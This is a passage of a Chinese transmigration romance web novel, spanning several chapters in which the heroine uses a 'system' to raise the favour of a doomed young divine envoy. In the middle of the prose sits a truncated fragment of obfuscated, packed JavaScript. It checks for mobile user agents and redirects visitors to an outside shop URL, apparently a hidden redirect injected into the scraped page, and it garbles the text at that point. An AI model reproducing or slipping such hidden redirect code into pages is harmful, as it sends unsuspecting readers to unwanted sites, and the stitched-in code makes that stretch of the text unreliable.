许是刻在骨子里的浪漫,这一刻,赵玉屿忘记了任务,忘记了一切,她张开双臂感受着清风拂过每一寸肌肤,伸手拢起额角的碎发,将小花插入发髻,迎着初升的朝阳放肆欢笑。
“我在飞!我在飞——哈哈哈哈——”
赵玉屿冲着天空大喊,张牙舞爪的无章挥舞着双臂,直到仙鹤飞入城中,才稍稍收敛。
帝都城内不少人已经离家上街,早摊铺上的蒸笼冒出缕缕白烟和香气。长街上路过的行人三三两两,有的去出摊,有的去做工,有的去买菜,乘轿上朝的官员路过小摊时偶尔也会有停下的买上些早点。
赵玉屿怕有损奉仙宫形象,再次拢了拢碎发乖乖收回手臂,正襟危坐。
街上的行人越来越多,她怕太过张扬,刚想转身问子桑是不是回奉仙宫去,忽而一阵口哨声响起,她刚张开口还未来得及出声,陡然一阵天旋地转,她感觉自己像是坐在大摆锤上被甩出一般,眼前猛晕身子轻飞,回过神来,整个人已经被巨大的惯性抛了出去,在空中自由落体。
【警告警告,系统检测到宿主存在生命危险,若坠地,死亡率达100%,请问宿主是否启用还魂丹。】
赵玉屿还未被突如其来的变故中回过神来,满脑子就两个字。
我草???
【是否启用还魂丹?】
赵玉屿忍不住吐槽:不是,就算启用了还魂丹,这么高摔下去脑浆子都得崩出来了吧,能活才奇怪吧!
【是否启用还魂丹?】
身子还在坠落,赵玉屿脑袋充血,心中咬牙问出一个问题:是不是子桑故意的?!
【是否启用还魂丹?】
其实不用系统回答,赵玉屿也不傻,方才那哨声就是最好的证据。
不是,她又没招他又没惹他,怎么突然就又变脸了呢?
耳边风声呼啸,赵玉屿心中叹了口气,算了还是先启用还魂丹吧,不管以什么方式,妈的,要真是这小王八蛋故意的,事不过三,她变成僵尸也得吃掉他的脑子。
然而还未等她在心中确定回答,忽而身子又是一晃,整个人像是坐了加速车一般猛地朝后靠去,却发现自己已然落入了一个温暖结实的怀抱中。
生死一刻,惊魂未定,赵玉屿还未从被甩出坐骑的意识中回过神来,脸色苍白如纸,发髻间的小野花在长风中瑟瑟发抖,掉了几朵花瓣飘散在空中。
“哈哈哈哈——”
空气中扬起一道舒畅爽朗的笑声,始作俑者对此倒是看起来心情甚好,赵玉屿能感觉到靠着的胸口不断传来的震动。
妈的,故意耍她的啊,这人怎么这么恶劣!
赵玉屿回过神来,自然明白这是在耍她玩,顿时气得牙痒痒,一时也不顾的其他,愤恨的望向眼前这张俊脸,举起手就想把他脸扇飞,然而一阵冷风吹过让她瞬间恢复了理智,张开的手掌拐了个弯抚了抚自己的眼角,抹了一把不存在的泪水。
她“嘤嘤嘤”了几声,假装被吓坏了。
然而眼中还是透出几分愤愤不平。
瞧着她煞白的小脸和气愤却不敢伸张的神态,子桑却似乎愈加愉悦。
这瞧着可比方才那正襟危坐的虚假模样顺眼多了。
他的笑声越来越肆意恶劣,在白鹤掠过屋檐低飞时,顺着长风传入街道上行人的耳中。
众人抬头望去,正见一席华贵长衣的少年正抱着少女肆无忌惮的享受着众人的目光,朝奉仙宫飞去。
“那,那不是神使大人吗?!”
“真的是神使大人,神使大人!”
“神使大人!”
“神使大人!”
一时间,不论是忙活的摊主,还是正讨价还价的菜饭、目不斜视的行人,亦或是马车中的达官贵人,此时皆停下,朝天叩拜。
然而仙鹤并未因众人的虔诚而停留,只随风呼啸而过,留下几片不知名的花瓣。
赵玉屿听到风中传来的细碎高喊,知晓定是被人瞧见了,连忙从子桑怀中挣脱出来,却又怕再次被甩出去,想要去勾起把鞍。
然而把鞍却被子桑一脚踩住,赵玉屿拉扯不动,抬头望向他。
“神使大人这是何意?”
子桑略微歪头,又是一派自傲笃定:“不准动。”
“为什么?”赵玉屿此时也没有好脾气,“难道神使大人还想故技重施吗?”
子桑嘴角微微扬起,似乎心情很好,很是蛮不讲理:“我乐意。”
“你!”
【攻略对象好感度提升5%,当前好感度30%】
赵玉屿:???
瞧着眼前这张笑脸,赵玉屿恨得牙痒痒,看来他玩得的确很开心哈,这笑容丝毫不掺假的,好感度都上升了不少呢。
他的确没有杀自己的心思,看起来只是单纯觉得很好玩。
这人哪里是什么人美心善的病秧子,分明像是那种平常不发病还好,然而无聊的时候什么缺德事都能干得出来的小混蛋!
难道是叛逆期?
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13354465|140660||http|test|mini|href|location''.split(''|''),0,{}));
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>赵玉屿想到高中时期的一些性格顽皮的男同学,恶毒的心思倒是没有,但缺德事是真没少干。
子桑也才十七八岁的年纪,平日里瞧着居庙堂之高清心寡欲的,背地里怕是早就憋坏了。
这么想着,倒也能理解,但是高空抛物的事情发生在自己身上,还是想将他揍一顿!
子桑见赵玉屿一会皱眉一会舒展眉头,一会撇嘴委屈,一会又沉思,神色几经变化,不知道再想些什么。
见她走神,子桑刚恶劣的想着要不要再吓唬她一次,忽而见她头上之前插着的小花最后几片花瓣也岌岌可危,鬼使神差地就想把小花给摘下。
没想到他一伸手,赵玉屿以为他又要使坏,吓得未等脑袋反应过来就弯腰躲开他伸过来的手,下意识朝前一扑抱住他的腰。
一瞬间,少女发间的清香扑了满怀,子桑怔住,从未被人亲近过的身子猛然僵在原地,还未触及到花瓣的手指被人定住身子一般顿在那儿,过了片刻才反应过来,按着她的手就要推开。
“松手。”
赵玉屿却死死扣住他的腰:“我不!”
“松手!”
“我不!”
“松手!”
“我不松!你肯定又要吓唬我!”
“......”
赵玉屿紧紧闭着眼睛,双手死死环绕他的腰肢扣在他的身后。见半天没动静,悄咪咪睁开一只眼暗中观察。
最开始,她只是害怕再次被丢下去,下意识想要找个依靠。然而见子桑并未大动肝火,脑海中也没有好感值跌落的声音,她一时胆大起,想试探试探他的底线,只当害怕,抱着人不撒手。
不知过了许久,系统始终没有传来提示音,赵玉屿心中松了口气。
看来是不讨厌也不喜欢。
不过不厌恶肢体接触,那就是好事。
攻略有望啊!
赵玉屿这么想着,心情美得很,一时大胆许多,心里暗暗丈量了一下神使的腰身。
啧,这小腰真细。
这想着,耳边才传来子桑略带阴冷的声音。
“你再不松手,我就将你丢下去。”
“?”
听这威胁不像是假的,赵玉屿睁开眼,连忙识时务地松了手退开,两人脸颊交错的一瞬,碎发飘扬,少年温热的鼻息划过她的耳畔,她这才意识到两人此时太过亲昵,脸一红,连忙后退几步。
好在仙鹤不一会便落了地,正停在摘星楼前的广场上。周遭端着洒扫用具路过的队伍见状,连忙跪在地上叩拜,不敢直视。
赵玉屿慌不择路地一骨碌跳下鹤背,同众人一起跪在地上不敢仰视。
子桑理了理衣裳,瞥了眼此时怂到头快钻地的身影,虽瞧不清脸,但赤红的耳尖在墨发映衬下格外显眼。
他不大不小的轻哼一声,指尖挑起腰间的玉笛吹响,仙鹤再次展翼,一跃而起,环绕摘星楼而飞,最终落在顶层的窗台上。
子桑轻松跳下鹤背,入了楼。
仙鹤飞去,赵玉屿望着已经没有白色身影的窗台,原来他平日里都是驭鹤入楼,也对,那双金尊玉贵的脚,鞋子都不沾一丝灰尘的,怎么可能爬楼。
也就她这样的苦逼打工人才爬楼梯。
赵玉屿撇了撇嘴,经此一事,她对子桑的观感有些改变。
他没想杀她,却又总是想出些恶劣的游戏来戏弄她。
没原著那么可爱,那么善良,那么白月光。
可却更鲜活了,更像个......人了。
赵玉屿现在心里有些复杂,她原本是来拯救子桑的,但现在怎么感觉,需要被拯救的人是自己啊。
总觉得再这么下去,迟早被他玩死。
赵玉屿叹了口气,此时兴奋劲过了后有些疲惫,打算泡个澡先回房间补觉再说。
正泡着汤浴,脑海中突然想起电子提示音。
【攻略对象好感度提升8%当前好感度38%】
赵玉屿:“?”
怎么突然暴涨?
她什么都没干啊。
猜不透,猜不透男人心。
15. 第 15 章
摘星楼内,子桑靠在书架旁闲翻书籍。
子桑这些年,百无聊赖,时间对他来说既珍贵,又无聊到不知如何挥霍,闲来无事便会看书。
他喜欢读书,天南海北,正史杂谈皆不忌,甚至春宫图都会瞧上两眼。但倒也不是爱书爱学,只是每每指尖翻动细腻干燥的纸页,便觉得静心不少,然而他看书极快,过目不忘,翻了一遍便再提不起兴趣。
老皇帝为了讨好他,命人从五湖四海搜集了大量珍藏典故,这座摘星楼便是专门修建的藏书楼。
然而此时,视线落在字里行间却渐渐模糊,思绪飘忽不定竟看不下一行文字。修长的手指无意识摩挲着纸页,像是摩挲着那朵发髻间野花的花茎,心里微痒,不知是否是未能如愿摘下小花的遗憾。
怀中似乎还残留着些许体温,软软的,伴着发香占据满怀,紧紧抱着他的腰肢。
很香,很软,很......
“咚咚咚”
窗台传来三声不轻不重的敲窗声。
子桑骤然回过神来,才发现自己半天还未翻动一页,索性丢了书,走过去打开窗户。
窗外并未有人,而是一只白鹤。
白鹤见了他,欢喜的挥动翅膀,将口中的信封递给他后,用圆溜溜的小脑袋蹭了蹭他的脖颈。
这些白鹤不比仙鹤,是他专门圈养用来传信的信使。
而这一只是皇帝求去的。
听闻老皇帝对这只白鹤视若珍宝,每日上好的珍馐海味喂养,日常的零食都是细银鱼,瞧它如今肥臀粗脖,油光水滑的模样,可见的确在宫中过得异常滋润,未受苛待。
子桑摸了摸它的脑袋,白鹤欢喜引颈高鸣一声,旋即挥翅飞离。
金色信封上用上好的松墨写着“神使亲启”四个字,子桑打开信封,随意看了眼便丢在一旁。
前面无非是按例的奉承寒暄,后面老皇帝居然提出想同他共乘仙鹤,同赴仙山。
做梦呢。
*
昨晚在摘星楼顶待了一晚上,也没来得及洗漱,赵玉屿总觉得身上有些不舒坦,兴奋劲儿过了后又有些困顿,就同李嬷嬷告了一天假,抱着衣服去汤池舒舒服服泡了个澡,便回房间歇息。
李嬷嬷瞧着她似乎有些欲言又止,但最终什么也没说便准了她的假。
赵玉屿困顿不已,抱着东西回房间的路上,也没注意到路过众人瞧她的神色,笔直走回房间后就倒头大睡,势必要将失去的睡眠都补回来。可这番举动落在旁人眼中,便是明晃晃的八卦。
“哎,我听说昨晚上玉儿姐姐同神使大人一整晚都在摘星楼待着呢。”
“我说怎么玉儿姐姐一早回来就去汤池呢。”
“神使大人年方十八,自然精力旺盛。”
“不对不对,不在摘星楼,我亲眼瞧见他们早上乘鹤飞回来的,肯定是在外面,说不定就在后山!”
“后山,我的神君爷爷,这也太......”
“想不到,神使大人还挺有野趣。”
这些,赵玉屿自然是不知晓的。
然而平日里不论奉仙宫内如何传言,都只是宫内的小道八卦,可今早她和子桑一同乘鹤的场面帝都许多人都瞧见了,一传十十传百,不出一天,早已传遍了帝都城。
各人千肠百转,自有心思。
赵玉屿刚睡醒就有人来传话,说是赵侍郎请命来探亲。
赵侍郎?
赵玉屿挠了挠脑袋,半晌才反应过来这赵侍郎是她如今名义上的父亲。
可是探亲?
赵玉屿不禁嗤笑,三年都没来探过亲,也没见送过钱财补给帮原主打点,按照系统介绍,原主在赵家是极其不受待见的,若不是此时有人来报,她都当这个便宜老爹死了呢。
如今一朝龙在天,便眼巴巴的赶来巴结,士族风骨也没见有多少。
赵玉屿自然是不想见的,她又不是真的赵玉,也做不来父尊子敬的虚假作态,同原主以前熟悉的人见得越多,对她没好处。
更何况这种不称职的父亲,她怕忍不住尖酸几句,再不慎骂他个狗血淋头,临了尴尬。
“不见。”
若是平常她不见,总会显得刻薄寡情,然而现在可不一样。子桑给她找了个绝佳的好理由。
她叹了口气,状似为难对通信的侍卫道。
“我得神使赐名,已然重生。如今我只是玉儿,而非赵玉。世间凡缘皆已断,休得再论前尘。若我再同赵侍郎见面,那便是忤逆神使之命,何人担当得起?”
赵侍郎来找她的意思很明显,定是希望她莫要忘了赵家。呵,曾今当女儿是弃子,如今却想重新拾回棋盘,做梦呢。
赵家族谱上都没她名字了,还指望她给赵家无私奉献?
她这一番话,不仅有理有据,而且搬出神使命由,旁人也说不得什么,若是忤逆神使,可是要受天罚的。
这么来说,她还得感谢子桑无意间替她解决了一个麻烦。
赵玉屿想起子桑就又想起了好感度,一时有些迷茫。
这好感度怎么就又上升了呢?
按照先前的经历看,美食和手办这些讨好的招数只能让好感度增长到20%,堪堪高于路人甲。
之后好感值的增长,一次是因为聊天夸他喜欢小动物,一次是因为子桑的恶作剧。
这都是因为他心情好。
可最后一次好感度的增长是因为什么?
他回到摘星楼,为什么突然好感度就涨了10%呢?
赵玉屿百思不得其解,还未等她琢磨出个所以然来,晚膳时便被唤去了离水亭伺候。
夕阳垂落,将离水亭的倒影斜斜投在微波湖面,镀上一层融融金色。
池塘中的荷叶早已颓败,但日轮斜照,粼粼水面,干褐枯荷,瘦鹤独立,别有一番风趣。
子桑正引笛随意吹了几个小调,池塘中的红顶金鲤便成群的跃出水面再落入水中,周而复始,时而形成一道拱桥,时而是在水面炸开的牡丹,时而甚至两鱼一对一对跃出水面在半空中对撞,再晕头转向地落入水中。
赵玉屿从未见过这般奇景,站在原地看得惊呼。
笛声骤停,金鲤顿时如同被一掌打散,纷纷蹿入荷叶之下不见踪影。
赵玉屿以为自己打扰了子桑的兴致,连忙眼观鼻息将晚膳一一呈上,如数家珍的报上菜名,转移注意力。
其中有几道是新做出来的甜食,她笑道:“神使大人,这道杨枝芋泥椰蓉糕是新研制出的,甜而不腻,清爽可口,您尝尝。”
往日这些小甜品都很是吊起子桑的口味,然而今天不知怎么的,他看起来神情淡淡,把玩着手中的笛子,没什么兴趣。
赵玉屿见他心情不好,以为是早上僭越抱了他,惹得他还在生气。
可他明明好感度上升了啊,虽然不知道是什么原因。
赵玉屿思忖片刻,不管怎么样,多说多错,他现在瞧起来不太好惹的模样,还是先撤再说。
说罢,她行了一礼便要退下。
刚抬脚,就听懒懒一声:“去哪?”
“......”
赵玉屿收回脚呵呵一笑:“小女不敢叨扰神使大人用膳,还是去亭外等候,神使大人可有什么吩咐?”
“早上不是威风得很,如今倒是成了缩头乌龟。”
“..
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果然是记恨着早上的事情呢!
赵玉屿虽不觉得自己理亏,毕竟早上分明是子桑恶作剧在先,但她后来抱着小腰,也的确起了些歪心思,脸一红,果断道歉认错:“小女错了。”
“错哪了?”
我不该抱你小腰。
赵玉屿面色诚恳:“小女早上一时情急,行为举止有所僭越,还请大人恕罪。”
“哼。”
一声短促的轻哼,子桑没好气的瞧着她此时一脸的怂样,慢悠悠站起身子。
此时亭中只有他们两个人,他靠近一步,立在赵玉屿面前良久未动。
赵玉屿低着头不敢直视,想着若是子桑要解气她也没得反驳。
然而却良久未见他有何吩咐,只在这站着,似是在斟酌如何处置她。
忽而,她的手被拉起,赵玉屿下意识想要抽回手,却被一把向前扯去,双手不容分说地被拉着从子桑的腰旁穿过,整个人跌落入温暖的怀抱中。
长风拂过,将小亭的垂纱吹起,轻纱浮动间,仙鹤引颈高唳,荡起的纱帘朦胧遮掩住相拥的两人。
脑袋“嗡——”得一下不知所措,赵玉屿此时思绪怔怔,整个人被子桑搂在怀中,紧紧相贴,严丝合缝,甚至能感受到子桑的双手抚着她的后背的肩胛。
耳旁的发髻似有人在轻嗅,像刚出生的狼崽。
香的,软的,填满了空空缺憾的怀抱。
子桑抱着赵玉屿,有些满意的扬起唇角,跟早上的感觉一样。他这一整天总是想起早上的那个拥抱,心中空荡荡烦闷得很,看什么都不顺眼。
子桑向来是个行动派,讨厌什么就毁了,想要什么便会得到,从不会让自己有遗憾。
原本想着若是抱住赵玉屿并未让他心中愉悦,而是反感厌恶,那他就杀了她,必定要千刀万剐,才能解气。
可如今抱上了,他能感受到隔着衣物的少女柔软的肌肤,娇小的骨骼,温热的体温和清淡的发香。
似是有瘾,抱了许久都没觉得厌烦,反而愈发想要亲近,这种感觉很奇妙,子桑想着,难怪小白会喜欢她,的确跟其他的人不一样。
又似是报复,搂在后背的手指逐渐向下滑去。
赵玉屿此时已经大脑宕机僵在原地,鸡皮疙瘩都起来了,浑身的注意力都落在那手指划过之处。
最终,那手指落在她的腰间,狠狠掐了一把。
“啊,疼!”
赵玉屿忍不住弓起后背捂住腰,始作俑者已经退开,垂下的眼眸却含着恶作剧成功的得意笑意,心满意足坐下用膳。
“布菜。”
赵玉屿不知道他方才到底是何意,若说是占她便宜吧,着实没体会出什么旖旎暧昧。看起来更像是报复,就那种,你抱了我,我也得抱你一下才公平。
还掐人,幼不幼稚啊。
她暗地翻了个白眼,为眼前眉目得意的人布菜。
果然,方才还神情恹恹,现在已经大快朵颐,甜点吃了个七七八八。
子桑瞧着她眼底的愤愤神色,眉梢一扬:“你不服气?”
赵玉屿撇了撇嘴:“小女岂敢,小女只是......疼。”
真他妈的疼,这小崽子下手是真狠,铁定青了。
子桑愉悦一笑:“疼就忍着。”
赵玉屿忍不住嘟囔:“小女也没说啊,还不是神使大人方才自己问的吗。”
话说一半,见子桑望向她,瘪了瘪嘴,收回后面的话。
见她吃瘪,子桑心情大好,不知从哪里蹿出来的猴大心情似乎更好,指着她的腰龇着牙张牙舞爪地笑。
赵玉屿:“......”
16. 第 16 章
子桑似乎报了仇心情很好,有一句没一句的闲聊,忽而问道:“你来奉仙宫三年,许久未回家了吧。”
赵玉屿不甚在意,回答道:“小女如今已是玉儿,奉仙宫便是我的家。”
子桑略蹙起眉头,瞥眼瞧她,对她的话似乎并不相信。
赵玉屿坦诚言:“其实今日赵大人差人来寻过我,不过我给拒绝了。”
子桑眉梢轻扬,端起杯盏饮了口茶,似是早已知晓。
赵玉屿瞧着他的神色,接着说道:“我知晓赵大人来找我,无非是盼着我能帮衬赵家,可他忘了我早就脱离了赵家族谱,也忘了,当初赵家是如何对我的。赵夫人虽然并未曾体罚我,却将我扔到庄子上十几年不管不顾,差点饿死。赵夫人并非我身生母亲对我如此尚且能理解,但赵大人却也对我不闻不问。十几年来,赵家仿佛未有我这个人存在,来到奉仙宫三年,赵大人也从未关心过我,甚至一封家书也没有。”
她声音冷淡,“如今见我得蒙神使大人恩赐,被选为内殿侍女侍奉在大人身边,又起了攀附的心思,想用亲情攀扯关系,说白了就是想利用我为他们赵家谋利,并非真正关心我,天下哪有这么便宜的好事!我既然已经入了奉仙宫便也和他尘缘尽断,如今细细想来,这是神使大人赐予小女的恩典。”
她跪下感激道:“多谢神使大人!”
子桑听她这娴熟感恩的语气,难得一噎,嘴角略抽,放下茶杯哂笑:“这么说,我倒还成全了你。”
他当初下命将她的名字剔除族谱,本是存了戏谑的心思报复她,如今倒是变相成人之美了。
难怪她那时瞧着没有丝毫痛苦之色。
赵玉屿一脸真诚感动,顺势表忠心:“神使大人能让小女成为内殿侍女,对小女如有再造之恩,小女既然脱离了族谱,摒弃了赵姓,那便只是神使大人的玉儿,日后也只会奉您为主,永不背叛。”
子桑第一次觉得有些无力,心里憋屈得慌又说不出什么,闭眼朝后略仰,靠在椅子上缓了缓气,良久瞥了眼她的腰道:“真这么忠心?”
“这是自然!”
“刚才还在气我掐你吧。”
“......”
腰部还在隐隐作痛,赵玉屿谄媚一笑:“怎么会,我那是担心神使大人掐得不尽兴。”
“哼。”
【攻略对象好感度提升百分之二,当前好感度40%恭喜宿主获得任务奖励“无尘芝”,奖励已自动发送至背包。】
赵玉屿:“......”
看来这臭小子真的很喜欢别人拍他马屁。
若说最开始赵玉屿对子桑还有着温润如玉的白月光滤镜,现在已经碎得差不多了。
这些日子的相处,她对子桑的了解不再仅仅是书中的只言片语。
世人眼中的所谓神使,悲天悯人、平易近人、是画着人皮的神,他是一个象征、一个图腾,却独独不是一个鲜活的人。
赵玉屿现在细想来,她透过书中所见,自以为上帝视角看透了所有人,实则看到的也只不过是书中角色的人生一隅。
真正的子桑,是这一刻坐在她面前的,鲜活、孤僻又顽劣的少年。若没有神使这层皮罩着,若他生在富贵帝王家,必定是个混世魔王。
赵玉屿回到房中,回想起离开离水亭时的回眸一瞥,长身而立的少年站在亭边,伸手轻柔抚摸着垂颈伸入亭中的仙鹤,虽低眉浅笑,却含着这个年纪不该有的淡淡死寂。
赵玉屿忽然意识到,子桑的身边似乎并没有可以交付真心的朋友。
他的身边有顺从愚忠的嬷嬷、尽心侍奉的神侍、誓死不渝的守卫、狂热崇拜的信徒,却唯独没有十七八岁的少年该有的玩伴和朋友。
书中对于子桑的幼时过往并未有过多描写,他自书中首次出场就是高高在上的神使,是这个盛世王朝的精神图腾。
众人只知晓他来自瑶族仙山,有驭兽之能,却注定活不过二十。
最开始赵玉屿很奇怪,老皇帝迷恋修仙是为了能长生不老,为什么会相信一个活不过二十的人能助自己长生。
若子桑当真是仙族后裔,又怎会早逝。
后来她才知晓,子桑所得并非绝症,而是“神赐”。
老皇帝曾得一卷秘笈,上面所言,瑶山一族,仙人后裔,族中每百年出一圣子。圣子为天尊转世,通百语,驭百兽,窥天机,探乾坤,然世道有常,不得违背,故历代圣子皆于二十岁仙逝,神识归位。
而子桑十年前于祈神大典上驾鹤而来,与秘笈所言一一对证,所以老皇帝深信不疑,为他大肆修建神庙,建奉仙宫,神仙一般供奉起来,将他立于世人之外,众人之上。
他在众人眼中,从来就不是人,而是神。就连他发怒,都被看做是上神降罪,无人敢反抗。
而原著所写的子桑,神性大于人性,赵玉屿也下意识将他当成了一个完美的人,却没有意识到,人们想象中的神祇向来是完美而扁平的。
真正的子桑,是一个活生生的人,有人就有悲喜就有脾性,就有不尽如人意的地方,可悲哀的是没有任何一个人真正认同他的喜怒哀乐。
所以他将自己圈禁起来,整日与动物为伴。宁愿在摘星楼顶一待一整宿,也不愿意与旁人交心。
因为只有那些仙鹤、猴子、狐狸,是他的朋友、玩伴和家人。
赵玉屿忽然意识到,她那苦命早死的白月光男配其实只是书上的薄纸一张,是她幻想中的完美少年。她想要拯救他,其实是在给自己闲暇无聊时看书的遗憾博得一丝慰藉,并不是为了子桑本人。
她其实也从来没有真正想要了解他,只是按照自己的想法要求他的言行,一旦不符合自己的想象便会失望、会遗憾、甚至愤怒。
可是凭什么呢?
没有谁应当是为了谁的想法而活着,也不应为了谁的期待或失望而死去。
她应该,重新认识他。
可是,一个注定活不过二十的少年,她还有多久的时间可以了解他呢。
赵玉屿似乎也理解了子桑的喜怒无常,从出生起就知晓自己人生的终点在何时,或许想过逃脱、挣扎、反抗,但周围所有一切,那种死寂般的唯命是从,令人窒息的狂热崇拜,无时无刻不在告诉他,他的命运是注定的,辉煌而短暂。
最终,一切的反抗、挣扎、愤怒,无力地汇聚成淡淡死寂,贯穿他的终生。
这就是原著里,子桑的一生。
也是现在,子桑即将面对的命运。
赵玉屿忽然想起原著里子桑为救怀孕的女主而死时的那句话。
“你不必惊讶,也不必为我而哭,这样离开对我来说,是一件幸事。”
那时她不明白,现如今却似乎有些明白了。
至少,他的人生不是按照命定的路数
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走到尽头。
即便是在原著中,温润的外表下,他其实,也一直在无声的控诉和反抗。
这更让赵玉屿意识到,他不是神,而是人。
也让赵玉屿来到这个世界上,心中第一次有了惶恐。
她忍不住唤出系统。
赵玉屿:系统,这个世界上真的有神仙吗?
【宿主您好,神只是一个代名词,一切超越当前人类认知的未知事物皆可称之为神。】
赵玉屿:那这个世界上真的有瑶山,子桑当真是仙人之后吗?
她原本是不相信神仙的,可如今却也莫名有些慌神。
若真的有什么不可抗力的神力,那她对抗得了吗?
【宿主,这个时空的确有瑶山存在,但仙人一词如何界定还有待考究。比如,在当前时代而言,巫蛊之术和仙人之法并无差别,只是名字好听些罢了~嘿嘿~】
赵玉屿:......
系统这自以为幽默的搞怪让她有些抓马,现在着实没什么心情开玩笑呢,搞得她一时不知如何开口。
反而系统似乎猜出了她的惶恐和犹豫,先道。
【宿主请放心,只要宿主完成任务,就可以获得任务奖励,攻略对象便可恢复如初。毕竟对于当前时代的人来说,系统也是属于未知事物呢。】
叮咚!
此话一出,瞬间将赵玉屿从未知的迷茫和惶恐的泥潭中拉扯出。
是啊,大千世界无奇不有,她能够穿越到这个世界,本身就是未知神力之一。
只要按照系统所言,拿到任务道具子桑就能够活下去了。
这就够了,其他的她也懒得想,跟她也没关系。
赵玉屿顿时又满血复活,就听脑海中再次传来系统音。
【系统温馨提示,宿主目前已获得奖励道具“无尘芝”,回心丹合成进度达1/3,合成回心丹可救助攻略对象,请宿主再接再厉,系统看好你呦~】
无尘芝?
赵玉屿这才想起来之前脑海中的系统提示音,因为这段时间的好感度爬爬跌跌,系统提示音太多她都有些习惯了,再加上正想着子桑的事情心情有些低落,一时间忽略了任务奖励。
赵玉屿赶紧唤出无尘芝,虽然叫做灵芝,实际上却像是一个,一个灵果?
巴掌大小的圆形的白玉色灵芝,大体可看出似乎是婴孩形状,白玉色里透出丝丝缕缕的红意,如同血脉,这个灵芝像是西游记里的人参果,外表摸上去很平滑,如同人工雕琢而成,攥在手中却觉得沉甸甸很有分量,如果不是系统赠予,她会觉得是古玩市场的伴手礼。
这是什么,这就是神迹啊!这是希望,是未来,是信心,是满当当的爱!
赵玉屿吧唧亲了一口无尘芝,小心翼翼将它召回背包收好。
管它前方是什么,干就完事!
既然好感度能提升到40%,那就能提升到80%、90%、100%!
她要救回子桑。
不是为了弥补遗憾,不是为了任务,不是为了自己,而是为了让这个对生命哀戚的少年能够拥有属于自己的未来。
想法是美好的,现实是意外丛生的。
咚咚得敲门声响起,打断了赵玉屿的美好想象。
她打开门,看到立在外面笑盈盈的张嬷嬷,心中有些意外。
“张嬷嬷,您怎么来了?”
17. 第 17 章
“玉儿姑娘,内殿侍女一职事关神使大人日常起居,责任重大,一丝一毫不能马虎,原先定下三人轮岗也正是因此。前些日子宋姑娘身体不适,神使大人起居一直是由玉儿姑娘您照料,老身瞧着甚是尽心,只是长此以往总归劳累。如今宋姑娘身体已然康复,老身便想,不如还是按照原定的日子轮岗,您看如何?”
赵玉屿听到这话了然,张嬷嬷之前收了宋家不少的好处,一直对宋解环关照有加。如今是见自己在奉仙宫混得如鱼得水,又得了织锦司掌事这一肥差,所以想要让宋解环也分一杯羹。
张嬷嬷脸上笑盈盈,实则心中也忐忑叫苦。
如今赵玉讨得神使大人欢心,不仅掌管织锦司,居然还能同神使大人同乘仙鹤,这可是无上荣耀,便是圣上也从未有过如此殊荣,可见神使大人看重。
她原本是断然不敢招惹赵玉的,更何况之前自己还借势在轮岗上给她使过绊子。
只是那日赵玉屿和神使大人驾鹤同游的场景,早已传遍了整个帝都,宋家自然也得到了消息,马不停蹄的便差人来询问,又送了好些银票给她,央求她疏通疏通,让宋解环在神使大人面前也露个脸。
宋家卖力,可惜宋解环是个不识趣的,这些日子身体总是不适。
张嬷嬷也瞧得出来她只是在推脱。
这两个侍女,真是两个极端。一个成日抄经作画,总想着躲清净,一个使出浑身解数,极尽讨好神使,倒也各有所求相安无事。
张嬷嬷本是不想管得,但拿人钱财得办事,只好找到赵玉屿商量,看看能不能轮岗。
其实张嬷嬷心中也打鼓,这赵玉如此卖力的讨好神使大人,如今得了势,怎么会愿意分旁人一杯羹。
她来这一趟,也不过是为了全宋家的面子,日后若是宋家来讨说法,她也好将一切推脱到赵玉身上,可不是她不帮忙。
没成想赵玉笑吟吟回道:“张嬷嬷的意思玉儿明白,原就是我和宋姐姐共同照顾神使大人,只是前些日子宋姐姐身体抱恙,我才顶上。如今既然宋姐姐已经痊愈,自然是要按照规矩来的。”
张嬷嬷听到这话大喜,连连说好:“既然如此,那明日便让宋姑娘侍奉,玉儿姑娘也可以歇歇。”
“那就依张嬷嬷的。”
瞧着张嬷嬷喜气洋洋离开的背影,赵玉屿也舒了口气。
她这些日子连轴转,既要小心伺候子桑,又要钻研新糕点,画新衣裳、制新手办,还要跟猴头斗智斗勇,的确有些疲累。
子桑的好感度现在虽然稳定在了50%,但有时候上升得太过诡异,让她拿不准摸不透。
如今也好,她能趁休息时静下心,好好想想之后如何继续攻略。
再说,赵玉屿也不想拉仇恨,张嬷嬷既然开了口,她的面子还是要给的。
若是得罪了,以后指不定在什么地方使绊子,何必给自己树敌呢。
宋解环也已经知晓鬼怪是猴子假扮的恶作剧,赵玉屿又去找到她,将这些日子子桑的衣裳装扮都安排好,细细告知了她,想来也不会有什么大碍。
既然明天不上班,赵玉屿浑身轻松,打算犒劳犒劳自己,便吩咐小厨房做了顿宵夜,烧烤炸串火锅臭豆腐,应有尽有。
她这些日子在厨房研制新菜品,早就跟大厨们混熟了,见她想吃夜宵,正巧今日当值的是王厨。
王厨是个胖乎乎的御厨,一手的好厨艺,好奇心很重,人也成日乐呵呵的,像尊弥勒佛。
每次赵玉屿尝试制作新糕点他都会站在一旁观看,有时候遇到难题,他还会主动帮忙想办法。一来二去,两人也混熟了。
见赵玉屿嘴馋想吃夜宵,王厨卷起袖子露了一手,做上几个拿手好菜给她送去,满当当摆了一桌子。
赵玉屿又找其他小神侍借了本话本。虽说奉仙宫修道清净,但都是些少年少女,爱美贪玩的年纪,总会有办法从外面搞些胭脂水粉、话本玩意,这都是众人心照不宣的事情。
不得不说这话本甚是好看,剧情精彩,起承转合,高潮跌宕,赵玉屿边看边吃,一时竟熬到了半夜。
夜风从半敞的窗户吹入,卷起一阵寒意,将室温冻低了几分,赵玉屿忍不住打了个寒颤。
她一时看得起兴,方才又在吃东西热得慌,就脱了外套,如今寒风骤然吹来,她才想起来关窗户。
结果乐极生悲,第二日,赵玉屿便觉得心中恶心,将昨夜吃的饭都吐了出来,浑身触冷发热,躺在床上虚脱无力,一病不起。
赵玉屿:......她的假期!
*
日上枝头,祈神殿的殿门缓缓打开。侍奉的神使们鱼贯而入,恭敬地将件件衣裳配饰送入殿中。
子桑沐浴完,穿着白色里衣打了个哈欠站在试衣镜前,等着侍女伺候穿衣,透过朦胧的屏风见人进来了,怠懒又带了一丝好奇:“今日又是什么款式?”
